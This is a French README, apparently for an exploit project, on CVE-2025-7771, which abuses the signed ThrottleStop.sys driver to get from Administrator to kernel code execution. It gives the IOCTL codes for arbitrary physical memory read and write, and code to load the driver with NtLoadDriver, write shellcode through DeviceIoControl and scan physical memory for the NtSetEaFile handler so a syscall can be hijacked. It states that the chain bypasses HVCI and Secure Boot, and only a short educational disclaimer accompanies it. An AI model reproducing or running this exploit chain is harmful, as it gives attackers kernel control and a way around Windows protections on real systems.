Escalade de privilèges dans le système à partir d'un pilote non signé en utilisant la vulnérabilité throttlestop
CVE-2025-7771 — Lecture/Écriture arbitraire de mémoire physique via les IOCTL de ThrottleStop.sys
Ce projet est publié uniquement à des fins éducatives et de recherche. L'objectif est de montrer comment un pilote noyau signé et de confiance peut être utilisé pour une escalade de privilèges locale (LPE) d'Administrateur à SYSTEM/Noyau, contournant efficacement les fonctionnalités de sécurité modernes de Windows, notamment HVCI (Intégrité du code renforcée par l'hyperviseur) et Secure Boot.
N'utilisez pas cet outil à des fins malveillantes. L'auteur n'est pas responsable de toute mauvaise utilisation.
| Champ | Détails |
|---|---|
| CVE | CVE-2025-7771 |
| Pilote | ThrottleStop.sys (livré avec ThrottleStop) |
| Éditeur | TechPowerUp / Kevin Glynn |
| Type | Lecture/Écriture arbitraire de mémoire physique |
| Impact | Escalade de privilèges locale (Admin → Noyau) |
| CVSS | 8.2 (Élevé) |
| Signature | Signé Microsoft via WHQL / Attestation |
| Contournement HVCI | ✅ Oui — le pilote est légitimement signé, autorisé par la politique CI |
ThrottleStop.sys avec des IOCTL de mappage de mémoire physiqueLe pilote noyau ThrottleStop.sys expose un périphérique (\\.\ThrottleStop) accessible à tout administrateur local. Il implémente deux IOCTL qui fournissent un accès sans restriction à la mémoire physique :
#define IOCTL_TS_READ_PHYS 0x80006498 // Lit une adresse physique arbitraire
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Écrit une adresse physique arbitraire
0x80006498)Entrée : ULONG64 PhysicalAddress (8 octets)
Sortie : Tampon de données (1–8 octets par appel, déterminé par OutputBufferLength)
Le pilote appelle MmMapIoSpace() pour mapper l'adresse physique demandée dans l'espace virtuel du noyau, copie les données dans le tampon de sortie, puis appelle MmUnmapIoSpace(). Aucune validation n'est effectuée sur l'adresse physique — n'importe quelle adresse dans l'espace d'adressage physique peut être lue.
0x8000649C)Entrée : ULONG64 PhysicalAddress (8 octets) + Données (1–8 octets)
InputBufferLength = 8 + DataSize
Sortie : Aucune
Même mécanisme que la lecture, mais écrit les données fournies par l'utilisateur à l'adresse physique mappée. Encore une fois, aucune validation d'adresse ou de plage.
Le pilote a été conçu pour permettre à ThrottleStop (un utilitaire d'undervoltage/limitation du CPU) de lire/écrire directement les MSR et les registres matériels. Les IOCTL de mémoire physique ont probablement été ajoutés pour l'accès MMIO à l'espace de configuration PCI ou aux capteurs thermiques du CPU, mais l'implémentation n'effectue aucune vérification des limites :
GENERIC_READ | GENERIC_WRITECela transforme un pilote utilitaire matériel légitime en une primitive complète de lecture/écriture au niveau noyau.
La chaîne d'exploitation va d'un compte Administrateur local à l'exécution de code noyau arbitraire, atteignant effectivement un contrôle ring-0 au niveau SYSTEM.
Le mapper dépose ThrottleStop.sys dans %TEMP%, crée une entrée de registre de service sous HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop, et le charge via NtLoadDriver() :
// Activer SeLoadDriverPrivilege pour le processus actuel
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Créer l'entrée de service pointant vers le fichier .sys déposé
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Charger via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Ouvrir le handle du périphérique
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Note : Puisque ThrottleStop.sys est légitimement signé, il se charge même avec HVCI/Secure Boot activés. La politique CI de Windows fait confiance au certificat.
Avec le handle du périphérique, l'exploit peut lire/écrire n'importe quelle adresse physique sur le système :
// Lire 8 octets à l'adresse physique 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Écrire 8 octets à une adresse physique
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // adresse
*(ULONGLONG*)(input + 8) = shellcode_qword; // données
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
L'exploit encapsule cela dans des fonctions auxiliaires qui gèrent les lectures/écritures fragmentées (1, 2, 4 ou 8 octets par appel) pour des transferts de longueur arbitraire.
Pour exécuter des fonctions noyau arbitraires, l'exploit doit trouver l'adresse physique d'un gestionnaire de syscall du noyau. Il cible NtSetEaFile (un syscall rarement surveillé) :
ntoskrnl.exe en mode utilisateur via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), obtenir le RVA de NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avancer par pas de 2 Mo, et comparer les octets :for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // vérification rapide
{
read_phys(candidate_pa, verify, 32); // vérification complète
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // trouvé !
// ... valider via PsGetProcessSectionBaseAddress
}
}
}